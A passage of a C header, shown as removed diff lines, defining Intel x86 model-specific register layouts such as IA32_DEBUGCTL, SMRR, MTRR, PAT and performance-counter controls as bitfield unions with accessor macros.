CPL = 0. - * - * @remarks 06_0FH - */ - uint64_t bts_off_os : 1; -#define IA32_DEBUGCTL_BTS_OFF_OS_BIT 9 -#define IA32_DEBUGCTL_BTS_OFF_OS_FLAG 0x200 -#define IA32_DEBUGCTL_BTS_OFF_OS_MASK 0x01 -#define IA32_DEBUGCTL_BTS_OFF_OS(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] When set, BTS or BTM is skipped if CPL > 0. - * - * @remarks 06_0FH - */ - uint64_t bts_off_usr : 1; -#define IA32_DEBUGCTL_BTS_OFF_USR_BIT 10 -#define IA32_DEBUGCTL_BTS_OFF_USR_FLAG 0x400 -#define IA32_DEBUGCTL_BTS_OFF_USR_MASK 0x01 -#define IA32_DEBUGCTL_BTS_OFF_USR(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] When set, the LBR stack is frozen on a PMI request. - * - * @remarks If CPUID.01H: ECX[15] = 1 && CPUID.0AH: EAX[7:0] > 1 - */ - uint64_t freeze_lbrs_on_pmi : 1; -#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI_BIT 11 -#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI_FLAG 0x800 -#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI_MASK 0x01 -#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI(_) (((_) >> 11) & 0x01) - - /** - * [Bit 12] When set, each ENABLE bit of the global counter control MSR are frozen (address 38FH) on a PMI request. - * - * @remarks If CPUID.01H: ECX[15] = 1 && CPUID.0AH: EAX[7:0] > 1 - */ - uint64_t freeze_perfmon_on_pmi : 1; -#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI_BIT 12 -#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI_FLAG 0x1000 -#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI_MASK 0x01 -#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI(_) (((_) >> 12) & 0x01) - - /** - * [Bit 13] When set, enables the logical processor to receive and generate PMI on behalf of the uncore. - * - * @remarks 06_1AH - */ - uint64_t enable_uncore_pmi : 1; -#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI_BIT 13 -#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI_FLAG 0x2000 -#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI_MASK 0x01 -#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI(_) (((_) >> 13) & 0x01) - - /** - * [Bit 14] When set, freezes perfmon and trace messages while in SMM. - * - * @remarks If IA32_PERF_CAPABILITIES[12] = 1 - */ - uint64_t freeze_while_smm : 1; -#define IA32_DEBUGCTL_FREEZE_WHILE_SMM_BIT 14 -#define IA32_DEBUGCTL_FREEZE_WHILE_SMM_FLAG 0x4000 -#define IA32_DEBUGCTL_FREEZE_WHILE_SMM_MASK 0x01 -#define IA32_DEBUGCTL_FREEZE_WHILE_SMM(_) (((_) >> 14) & 0x01) - - /** - * [Bit 15] When set, enables DR7 debug bit on XBEGIN. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[11] = 1) - */ - uint64_t rtm_debug : 1; -#define IA32_DEBUGCTL_RTM_DEBUG_BIT 15 -#define IA32_DEBUGCTL_RTM_DEBUG_FLAG 0x8000 -#define IA32_DEBUGCTL_RTM_DEBUG_MASK 0x01 -#define IA32_DEBUGCTL_RTM_DEBUG(_) (((_) >> 15) & 0x01) - uint64_t reserved2 : 48; - }; - - uint64_t flags; -} ia32_debugctl_register; - - -/** - * @brief SMRR Base Address (Writeable only in SMM) - * - * SMRR Base Address. Base address of SMM memory range. - * - * @remarks If IA32_MTRRCAP.SMRR[11] = 1 - */ -#define IA32_SMRR_PHYSBASE 0x000001F2 -typedef union -{ - struct - { - /** - * @brief Type - * - * [Bits 7:0] Type. Specifies memory type of the range. - */ - uint64_t type : 8; -#define IA32_SMRR_PHYSBASE_TYPE_BIT 0 -#define IA32_SMRR_PHYSBASE_TYPE_FLAG 0xFF -#define IA32_SMRR_PHYSBASE_TYPE_MASK 0xFF -#define IA32_SMRR_PHYSBASE_TYPE(_) (((_) >> 0) & 0xFF) - uint64_t reserved1 : 4; - - /** - * [Bits 31:12] SMRR physical Base Address. - */ - uint64_t smrr_physical_base_address : 20; -#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS_BIT 12 -#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS_FLAG 0xFFFFF000 -#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS_MASK 0xFFFFF -#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS(_) (((_) >> 12) & 0xFFFFF) - uint64_t reserved2 : 32; - }; - - uint64_t flags; -} ia32_smrr_physbase_register; - - -/** - * @brief SMRR Range Mask (Writeable only in SMM) - * - * Range Mask of SMM memory range. - * - * @remarks If IA32_MTRRCAP[SMRR] = 1 - */ -#define IA32_SMRR_PHYSMASK 0x000001F3 -typedef union -{ - struct - { - uint64_t reserved1 : 11; - - /** - * [Bit 11] Enable range mask. - */ - uint64_t enable_range_mask : 1; -#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK_BIT 11 -#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK_FLAG 0x800 -#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK_MASK 0x01 -#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK(_) (((_) >> 11) & 0x01) - - /** - * [Bits 31:12] SMRR address range mask. - */ - uint64_t smrr_address_range_mask : 20; -#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK_BIT 12 -#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK_FLAG 0xFFFFF000 -#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK_MASK 0xFFFFF -#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK(_) (((_) >> 12) & 0xFFFFF) - uint64_t reserved2 : 32; - }; - - uint64_t flags; -} ia32_smrr_physmask_register; - - -/** - * DCA Capability. - * - * @remarks If CPUID.01H: ECX[18] = 1 - */ -#define IA32_PLATFORM_DCA_CAP 0x000001F8 - - /** - * If set, CPU supports Prefetch-Hint type. - * - * @remarks If CPUID.01H: ECX[18] = 1 - */ -#define IA32_CPU_DCA_CAP 0x000001F9 - - /** - * DCA type 0 Status and Control register. - * - * @remarks If CPUID.01H: ECX[18] = 1 - */ -#define IA32_DCA_0_CAP 0x000001FA -typedef union -{ - struct - { - /** - * [Bit 0] Set by HW when DCA is fuseenabled and no defeatures are set. - */ - uint64_t dca_active : 1; -#define IA32_DCA_0_CAP_DCA_ACTIVE_BIT 0 -#define IA32_DCA_0_CAP_DCA_ACTIVE_FLAG 0x01 -#define IA32_DCA_0_CAP_DCA_ACTIVE_MASK 0x01 -#define IA32_DCA_0_CAP_DCA_ACTIVE(_) (((_) >> 0) & 0x01) - - /** - * [Bits 2:1] TRANSACTION. - */ - uint64_t transaction : 2; -#define IA32_DCA_0_CAP_TRANSACTION_BIT 1 -#define IA32_DCA_0_CAP_TRANSACTION_FLAG 0x06 -#define IA32_DCA_0_CAP_TRANSACTION_MASK 0x03 -#define IA32_DCA_0_CAP_TRANSACTION(_) (((_) >> 1) & 0x03) - - /** - * [Bits 6:3] DCA_TYPE. - */ - uint64_t dca_type : 4; -#define IA32_DCA_0_CAP_DCA_TYPE_BIT 3 -#define IA32_DCA_0_CAP_DCA_TYPE_FLAG 0x78 -#define IA32_DCA_0_CAP_DCA_TYPE_MASK 0x0F -#define IA32_DCA_0_CAP_DCA_TYPE(_) (((_) >> 3) & 0x0F) - - /** - * [Bits 10:7] DCA_QUEUE_SIZE. - */ - uint64_t dca_queue_size : 4; -#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE_BIT 7 -#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE_FLAG 0x780 -#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE_MASK 0x0F -#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE(_) (((_) >> 7) & 0x0F) - uint64_t reserved1 : 2; - - /** - * [Bits 16:13] Writes will update the register but have no HW side-effect. - */ - uint64_t dca_delay : 4; -#define IA32_DCA_0_CAP_DCA_DELAY_BIT 13 -#define IA32_DCA_0_CAP_DCA_DELAY_FLAG 0x1E000 -#define IA32_DCA_0_CAP_DCA_DELAY_MASK 0x0F -#define IA32_DCA_0_CAP_DCA_DELAY(_) (((_) >> 13) & 0x0F) - uint64_t reserved2 : 7; - - /** - * [Bit 24] SW can request DCA block by setting this bit. - */ - uint64_t sw_block : 1; -#define IA32_DCA_0_CAP_SW_BLOCK_BIT 24 -#define IA32_DCA_0_CAP_SW_BLOCK_FLAG 0x1000000 -#define IA32_DCA_0_CAP_SW_BLOCK_MASK 0x01 -#define IA32_DCA_0_CAP_SW_BLOCK(_) (((_) >> 24) & 0x01) - uint64_t reserved3 : 1; - - /** - * [Bit 26] Set when DCA is blocked by HW (e.g. CR0.CD = 1). - */ - uint64_t hw_block : 1; -#define IA32_DCA_0_CAP_HW_BLOCK_BIT 26 -#define IA32_DCA_0_CAP_HW_BLOCK_FLAG 0x4000000 -#define IA32_DCA_0_CAP_HW_BLOCK_MASK 0x01 -#define IA32_DCA_0_CAP_HW_BLOCK(_) (((_) >> 26) & 0x01) - uint64_t reserved4 : 37; - }; - - uint64_t flags; -} ia32_dca_0_cap_register; - -/** - * @defgroup ia32_mtrr_physbase \ - * IA32_MTRR_PHYSBASE(n) - * - * IA32_MTRR_PHYSBASE(0-9). - * - * @remarks If CPUID.01H: EDX.MTRR[12] = 1 - * @see Vol3A[11.11.2.3(Variable Range MTRRs)] - * @{ - */ -typedef union -{ - struct - { - /** - * [Bits 7:0] Specifies the memory type for the range. - */ - uint64_t type : 8; -#define IA32_MTRR_PHYSBASE_TYPE_BIT 0 -#define IA32_MTRR_PHYSBASE_TYPE_FLAG 0xFF -#define IA32_MTRR_PHYSBASE_TYPE_MASK 0xFF -#define IA32_MTRR_PHYSBASE_TYPE(_) (((_) >> 0) & 0xFF) - uint64_t reserved1 : 4; - - /** - * [Bits 47:12] Specifies the base address of the address range. This 24-bit value, in the case where MAXPHYADDR is 36 - * bits, is extended by 12 bits at the low end to form the base address (this automatically aligns the address on a 4-KByte - * boundary). - */ - uint64_t page_frame_number : 36; -#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER_BIT 12 -#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved2 : 16; - }; - - uint64_t flags; -} ia32_mtrr_physbase_register; - -#define IA32_MTRR_PHYSBASE0 0x00000200 -#define IA32_MTRR_PHYSBASE1 0x00000202 -#define IA32_MTRR_PHYSBASE2 0x00000204 -#define IA32_MTRR_PHYSBASE3 0x00000206 -#define IA32_MTRR_PHYSBASE4 0x00000208 -#define IA32_MTRR_PHYSBASE5 0x0000020A -#define IA32_MTRR_PHYSBASE6 0x0000020C -#define IA32_MTRR_PHYSBASE7 0x0000020E -#define IA32_MTRR_PHYSBASE8 0x00000210 -#define IA32_MTRR_PHYSBASE9 0x00000212 -/** - * @} - */ - - /** - * @defgroup ia32_mtrr_physmask \ - * IA32_MTRR_PHYSMASK(n) - * - * IA32_MTRR_PHYSMASK(0-9). - * - * @remarks If CPUID.01H: EDX.MTRR[12] = 1 - * @see Vol3A[11.11.2.3(Variable Range MTRRs)] - * @{ - */ -typedef union -{ - struct - { - /** - * [Bits 7:0] Specifies the memory type for the range. - */ - uint64_t type : 8; -#define IA32_MTRR_PHYSMASK_TYPE_BIT 0 -#define IA32_MTRR_PHYSMASK_TYPE_FLAG 0xFF -#define IA32_MTRR_PHYSMASK_TYPE_MASK 0xFF -#define IA32_MTRR_PHYSMASK_TYPE(_) (((_) >> 0) & 0xFF) - uint64_t reserved1 : 3; - - /** - * [Bit 11] Enables the register pair when set; disables register pair when clear. - */ - uint64_t valid : 1; -#define IA32_MTRR_PHYSMASK_VALID_BIT 11 -#define IA32_MTRR_PHYSMASK_VALID_FLAG 0x800 -#define IA32_MTRR_PHYSMASK_VALID_MASK 0x01 -#define IA32_MTRR_PHYSMASK_VALID(_) (((_) >> 11) & 0x01) - - /** - * [Bits 47:12] Specifies a mask (24 bits if the maximum physical address size is 36 bits, 28 bits if the maximum physical - * address size is 40 bits). The mask determines the range of the region being mapped, according to the following - * relationships: - * - Address_Within_Range AND PhysMask = PhysBase AND PhysMask - * - This value is extended by 12 bits at the low end to form the mask value. - * - The width of the PhysMask field depends on the maximum physical address size supported by the processor. - * CPUID.80000008H reports the maximum physical address size supported by the processor. If CPUID.80000008H is not - * available, software may assume that the processor supports a 36-bit physical address size. - * - * @see Vol3A[11.11.3(Example Base and Mask Calculations)] - */ - uint64_t page_frame_number : 36; -#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER_BIT 12 -#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved2 : 16; - }; - - uint64_t flags; -} ia32_mtrr_physmask_register; - -#define IA32_MTRR_PHYSMASK0 0x00000201 -#define IA32_MTRR_PHYSMASK1 0x00000203 -#define IA32_MTRR_PHYSMASK2 0x00000205 -#define IA32_MTRR_PHYSMASK3 0x00000207 -#define IA32_MTRR_PHYSMASK4 0x00000209 -#define IA32_MTRR_PHYSMASK5 0x0000020B -#define IA32_MTRR_PHYSMASK6 0x0000020D -#define IA32_MTRR_PHYSMASK7 0x0000020F -#define IA32_MTRR_PHYSMASK8 0x00000211 -#define IA32_MTRR_PHYSMASK9 0x00000213 -/** - * @} - */ - - /** - * @defgroup ia32_mtrr_fix \ - * IA32_MTRR_FIX(x) - * - * IA32_MTRR_FIX(x). - * - * @remarks If CPUID.01H: EDX.MTRR[12] = 1 - * @see Vol3A[11.11.2.2(Fixed Range MTRRs)] - * @{ - */ - /** - * @defgroup ia32_mtrr_fix64k \ - * IA32_MTRR_FIX64K(x) - * - * IA32_MTRR_FIX64K(x). - * @{ - */ -#define IA32_MTRR_FIX64K_BASE 0x00000000 -#define IA32_MTRR_FIX64K_SIZE 0x00010000 -#define IA32_MTRR_FIX64K_00000 0x00000250 - /** - * @} - */ - - /** - * @defgroup ia32_mtrr_fix16k \ - * IA32_MTRR_FIX16K(x) - * - * IA32_MTRR_FIX16K(x). - * @{ - */ -#define IA32_MTRR_FIX16K_BASE 0x00080000 -#define IA32_MTRR_FIX16K_SIZE 0x00004000 -#define IA32_MTRR_FIX16K_80000 0x00000258 -#define IA32_MTRR_FIX16K_A0000 0x00000259 - /** - * @} - */ - - /** - * @defgroup ia32_mtrr_fix4k \ - * IA32_MTRR_FIX4K(x) - * - * IA32_MTRR_FIX4K(x). - * @{ - */ -#define IA32_MTRR_FIX4K_BASE 0x000C0000 -#define IA32_MTRR_FIX4K_SIZE 0x00001000 -#define IA32_MTRR_FIX4K_C0000 0x00000268 -#define IA32_MTRR_FIX4K_C8000 0x00000269 -#define IA32_MTRR_FIX4K_D0000 0x0000026A -#define IA32_MTRR_FIX4K_D8000 0x0000026B -#define IA32_MTRR_FIX4K_E0000 0x0000026C -#define IA32_MTRR_FIX4K_E8000 0x0000026D -#define IA32_MTRR_FIX4K_F0000 0x0000026E -#define IA32_MTRR_FIX4K_F8000 0x0000026F - /** - * @} - */ - - /** - * Architecture defined number of fixed range MTRRs (1 for 64k, 2 for 16k, 8 for 4k). - */ -#define IA32_MTRR_FIX_COUNT ((1 + 2 + 8) * 8) - - /** - * Architecture defined number of variable range MTRRs. - */ -#define IA32_MTRR_VARIABLE_COUNT 0x000000FF - - /** - * A size of array to store all possible MTRRs. - */ -#define IA32_MTRR_COUNT (IA32_MTRR_FIX_COUNT + IA32_MTRR_VARIABLE_COUNT) - /** - * @} - */ - - - /** - * IA32_PAT. - * - * @remarks If CPUID.01H: EDX.MTRR[16] = 1 - */ -#define IA32_PAT 0x00000277 -typedef union -{ - struct - { - /** - * [Bits 2:0] PA0. - */ - uint64_t pa0 : 3; -#define IA32_PAT_PA0_BIT 0 -#define IA32_PAT_PA0_FLAG 0x07 -#define IA32_PAT_PA0_MASK 0x07 -#define IA32_PAT_PA0(_) (((_) >> 0) & 0x07) - uint64_t reserved1 : 5; - - /** - * [Bits 10:8] PA1. - */ - uint64_t pa1 : 3; -#define IA32_PAT_PA1_BIT 8 -#define IA32_PAT_PA1_FLAG 0x700 -#define IA32_PAT_PA1_MASK 0x07 -#define IA32_PAT_PA1(_) (((_) >> 8) & 0x07) - uint64_t reserved2 : 5; - - /** - * [Bits 18:16] PA2. - */ - uint64_t pa2 : 3; -#define IA32_PAT_PA2_BIT 16 -#define IA32_PAT_PA2_FLAG 0x70000 -#define IA32_PAT_PA2_MASK 0x07 -#define IA32_PAT_PA2(_) (((_) >> 16) & 0x07) - uint64_t reserved3 : 5; - - /** - * [Bits 26:24] PA3. - */ - uint64_t pa3 : 3; -#define IA32_PAT_PA3_BIT 24 -#define IA32_PAT_PA3_FLAG 0x7000000 -#define IA32_PAT_PA3_MASK 0x07 -#define IA32_PAT_PA3(_) (((_) >> 24) & 0x07) - uint64_t reserved4 : 5; - - /** - * [Bits 34:32] PA4. - */ - uint64_t pa4 : 3; -#define IA32_PAT_PA4_BIT 32 -#define IA32_PAT_PA4_FLAG 0x700000000 -#define IA32_PAT_PA4_MASK 0x07 -#define IA32_PAT_PA4(_) (((_) >> 32) & 0x07) - uint64_t reserved5 : 5; - - /** - * [Bits 42:40] PA5. - */ - uint64_t pa5 : 3; -#define IA32_PAT_PA5_BIT 40 -#define IA32_PAT_PA5_FLAG 0x70000000000 -#define IA32_PAT_PA5_MASK 0x07 -#define IA32_PAT_PA5(_) (((_) >> 40) & 0x07) - uint64_t reserved6 : 5; - - /** - * [Bits 50:48] PA6. - */ - uint64_t pa6 : 3; -#define IA32_PAT_PA6_BIT 48 -#define IA32_PAT_PA6_FLAG 0x7000000000000 -#define IA32_PAT_PA6_MASK 0x07 -#define IA32_PAT_PA6(_) (((_) >> 48) & 0x07) - uint64_t reserved7 : 5; - - /** - * [Bits 58:56] PA7. - */ - uint64_t pa7 : 3; -#define IA32_PAT_PA7_BIT 56 -#define IA32_PAT_PA7_FLAG 0x700000000000000 -#define IA32_PAT_PA7_MASK 0x07 -#define IA32_PAT_PA7(_) (((_) >> 56) & 0x07) - uint64_t reserved8 : 5; - }; - - uint64_t flags; -} ia32_pat_register; - -/** - * @defgroup ia32_mc_ctl2 \ - * IA32_MC(i)_CTL2 - * - * MSR to enable/disable CMCI capability for bank n. - * - * @remarks If IA32_MCG_CAP[10] = 1 && IA32_MCG_CAP[7:0] > n - * @see Vol3B[15.3.2.5(IA32_MCi_CTL2 MSRs)] - * @{ - */ -#define IA32_MC0_CTL2 0x00000280 -#define IA32_MC1_CTL2 0x00000281 -#define IA32_MC2_CTL2 0x00000282 -#define IA32_MC3_CTL2 0x00000283 -#define IA32_MC4_CTL2 0x00000284 -#define IA32_MC5_CTL2 0x00000285 -#define IA32_MC6_CTL2 0x00000286 -#define IA32_MC7_CTL2 0x00000287 -#define IA32_MC8_CTL2 0x00000288 -#define IA32_MC9_CTL2 0x00000289 -#define IA32_MC10_CTL2 0x0000028A -#define IA32_MC11_CTL2 0x0000028B -#define IA32_MC12_CTL2 0x0000028C -#define IA32_MC13_CTL2 0x0000028D -#define IA32_MC14_CTL2 0x0000028E -#define IA32_MC15_CTL2 0x0000028F -#define IA32_MC16_CTL2 0x00000290 -#define IA32_MC17_CTL2 0x00000291 -#define IA32_MC18_CTL2 0x00000292 -#define IA32_MC19_CTL2 0x00000293 -#define IA32_MC20_CTL2 0x00000294 -#define IA32_MC21_CTL2 0x00000295 -#define IA32_MC22_CTL2 0x00000296 -#define IA32_MC23_CTL2 0x00000297 -#define IA32_MC24_CTL2 0x00000298 -#define IA32_MC25_CTL2 0x00000299 -#define IA32_MC26_CTL2 0x0000029A -#define IA32_MC27_CTL2 0x0000029B -#define IA32_MC28_CTL2 0x0000029C -#define IA32_MC29_CTL2 0x0000029D -#define IA32_MC30_CTL2 0x0000029E -#define IA32_MC31_CTL2 0x0000029F -typedef union -{ - struct - { - /** - * [Bits 14:0] Corrected error count threshold. - */ - uint64_t corrected_error_count_threshold : 15; -#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD_BIT 0 -#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD_FLAG 0x7FFF -#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD_MASK 0x7FFF -#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD(_) (((_) >> 0) & 0x7FFF) - uint64_t reserved1 : 15; - - /** - * [Bit 30] CMCI_EN. - */ - uint64_t cmci_en : 1; -#define IA32_MC_CTL2_CMCI_EN_BIT 30 -#define IA32_MC_CTL2_CMCI_EN_FLAG 0x40000000 -#define IA32_MC_CTL2_CMCI_EN_MASK 0x01 -#define IA32_MC_CTL2_CMCI_EN(_) (((_) >> 30) & 0x01) - uint64_t reserved2 : 33; - }; - - uint64_t flags; -} ia32_mc_ctl2_register; - -/** - * @} - */ - - - /** - * IA32_MTRR_DEF_TYPE. - * - * @remarks If CPUID.01H: EDX.MTRR[12] = 1 - */ -#define IA32_MTRR_DEF_TYPE 0x000002FF -typedef union -{ - struct - { - /** - * [Bits 2:0] Default Memory Type. - */ - uint64_t default_memory_type : 3; -#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE_BIT 0 -#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE_FLAG 0x07 -#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE_MASK 0x07 -#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE(_) (((_) >> 0) & 0x07) - uint64_t reserved1 : 7; - - /** - * [Bit 10] Fixed Range MTRR Enable. - */ - uint64_t fixed_range_mtrr_enable : 1; -#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE_BIT 10 -#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE_FLAG 0x400 -#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE_MASK 0x01 -#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] MTRR Enable. - */ - uint64_t mtrr_enable : 1; -#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE_BIT 11 -#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE_FLAG 0x800 -#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE_MASK 0x01 -#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE(_) (((_) >> 11) & 0x01) - uint64_t reserved2 : 52; - }; - - uint64_t flags; -} ia32_mtrr_def_type_register; - -/** - * @defgroup ia32_fixed_ctr \ - * IA32_FIXED_CTR(n) - * - * Fixed-Function Performance Counter n. - * - * @remarks If CPUID.0AH: EDX[4:0] > n - * @{ - */ - /** - * Counts Instr_Retired.Any. - */ -#define IA32_FIXED_CTR0 0x00000309 - - /** - * Counts CPU_CLK_Unhalted.Core - */ -#define IA32_FIXED_CTR1 0x0000030A - - /** - * Counts CPU_CLK_Unhalted.Ref - */ -#define IA32_FIXED_CTR2 0x0000030B - /** - * @} - */ - - - /** - * Read Only MSR that enumerates the existence of performance monitoring features. - * - * @remarks If CPUID.01H: ECX[15] = 1 - */ -#define IA32_PERF_CAPABILITIES 0x00000345 -typedef union -{ - struct - { - /** - * [Bits 5:0] LBR format. - */ - uint64_t lbr_format : 6; -#define IA32_PERF_CAPABILITIES_LBR_FORMAT_BIT 0 -#define IA32_PERF_CAPABILITIES_LBR_FORMAT_FLAG 0x3F -#define IA32_PERF_CAPABILITIES_LBR_FORMAT_MASK 0x3F -#define IA32_PERF_CAPABILITIES_LBR_FORMAT(_) (((_) >> 0) & 0x3F) - - /** - * [Bit 6] PEBS Trap. - */ - uint64_t pebs_trap : 1; -#define IA32_PERF_CAPABILITIES_PEBS_TRAP_BIT 6 -#define IA32_PERF_CAPABILITIES_PEBS_TRAP_FLAG 0x40 -#define IA32_PERF_CAPABILITIES_PEBS_TRAP_MASK 0x01 -#define IA32_PERF_CAPABILITIES_PEBS_TRAP(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] PEBSSaveArchRegs. - */ - uint64_t pebs_save_arch_regs : 1; -#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS_BIT 7 -#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS_FLAG 0x80 -#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS_MASK 0x01 -#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS(_) (((_) >> 7) & 0x01) - - /** - * [Bits 11:8] PEBS Record Format. - */ - uint64_t pebs_record_format : 4; -#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT_BIT 8 -#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT_FLAG 0xF00 -#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT_MASK 0x0F -#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT(_) (((_) >> 8) & 0x0F) - - /** - * [Bit 12] Freeze while SMM is supported. - */ - uint64_t freeze_while_smm_is_supported : 1; -#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED_BIT 12 -#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED_FLAG 0x1000 -#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED_MASK 0x01 -#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED(_) (((_) >> 12) & 0x01) - - /** - * [Bit 13] Full width of counter writable via IA32_A_PMCx. - */ - uint64_t full_width_counter_write : 1; -#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE_BIT 13 -#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE_FLAG 0x2000 -#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE_MASK 0x01 -#define IA32_PERF_CAPABILITIES_FULL_WIDTH_COUNTER_WRITE(_) (((_) >> 13) & 0x01) - uint64_t reserved1 : 50; - }; - - uint64_t flags; -} ia32_perf_capabilities_register; - - -/** - * @brief Fixed-Function Performance Counter Control (R/W) - * - * Fixed-Function Performance Counter Control. Counter increments while the results of ANDing respective enable bit in - * IA32_PERF_GLOBAL_CTRL with the corresponding OS or USR bits in this MSR is true. - * - * @remarks If CPUID.0AH: EAX[7:0] > 1 - */ -#define IA32_FIXED_CTR_CTRL 0x0000038D -typedef union -{ - struct - { - /** - * [Bit 0] EN0_OS: Enable Fixed Counter 0 to count while CPL = 0. - */ - uint64_t en0_os : 1; -#define IA32_FIXED_CTR_CTRL_EN0_OS_BIT 0 -#define IA32_FIXED_CTR_CTRL_EN0_OS_FLAG 0x01 -#define IA32_FIXED_CTR_CTRL_EN0_OS_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN0_OS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] EN0_Usr: Enable Fixed Counter 0 to count while CPL > 0. - */ - uint64_t en0_usr : 1; -#define IA32_FIXED_CTR_CTRL_EN0_USR_BIT 1 -#define IA32_FIXED_CTR_CTRL_EN0_USR_FLAG 0x02 -#define IA32_FIXED_CTR_CTRL_EN0_USR_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN0_USR(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] AnyThread: When set to 1, it enables counting the associated event conditions occurring across all logical - * processors sharing a processor core. When set to 0, the counter only increments the associated event conditions - * occurring in the logical processor which programmed the MSR. - */ - uint64_t any_thread0 : 1; -#define IA32_FIXED_CTR_CTRL_ANY_THREAD0_BIT 2 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD0_FLAG 0x04 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD0_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD0(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] EN0_PMI: Enable PMI when fixed counter 0 overflows. - */ - uint64_t en0_pmi : 1; -#define IA32_FIXED_CTR_CTRL_EN0_PMI_BIT 3 -#define IA32_FIXED_CTR_CTRL_EN0_PMI_FLAG 0x08 -#define IA32_FIXED_CTR_CTRL_EN0_PMI_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN0_PMI(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] EN1_OS: Enable Fixed Counter 1 to count while CPL = 0. - */ - uint64_t en1_os : 1; -#define IA32_FIXED_CTR_CTRL_EN1_OS_BIT 4 -#define IA32_FIXED_CTR_CTRL_EN1_OS_FLAG 0x10 -#define IA32_FIXED_CTR_CTRL_EN1_OS_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN1_OS(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] EN1_Usr: Enable Fixed Counter 1 to count while CPL > 0. - */ - 